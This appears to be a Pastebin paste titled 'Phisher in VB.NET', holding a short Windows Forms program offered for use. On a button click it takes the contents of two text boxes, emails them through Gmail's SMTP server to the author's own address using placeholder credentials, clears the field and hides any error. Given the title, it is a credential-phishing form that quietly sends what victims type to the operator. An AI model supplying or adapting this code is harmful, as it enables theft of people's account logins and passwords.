eats

Phisher in VB.NET

Aug 8th, 2014
262
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
VB.NET 0.75 KB | None | 0 0
  1. Imports System.Net.Mail
  2. Public Class Form1
  3.  
  4. Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
  5.  
  6. End Sub
  7.  
  8. Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
  9.  
  10. Dim MyMailMessage As New MailMessage()
  11. Try
  12. MyMailMessage.From = New MailAddress("Your gmail account")
  13. MyMailMessage.To.Add("Your second email")
  14. MyMailMessage.Subject = TextBox1.Text
  15. MyMailMessage.Body = TextBox2.Text
  16. Dim SMTP As New SmtpClient("smtp.gmail.com")
  17. SMTP.Port = 587
  18. SMTP.EnableSsl = True
  19. SMTP.Credentials = New System.Net.NetworkCredential("Gmail account", "Gmail password")
  20. SMTP.Send(MyMailMessage)
  21. TextBox2.Text = ""
  22. Catch ex As Exception
  23. End Try
  24. End Sub
  25. End Class
Add Comment
Please, Sign In to add comment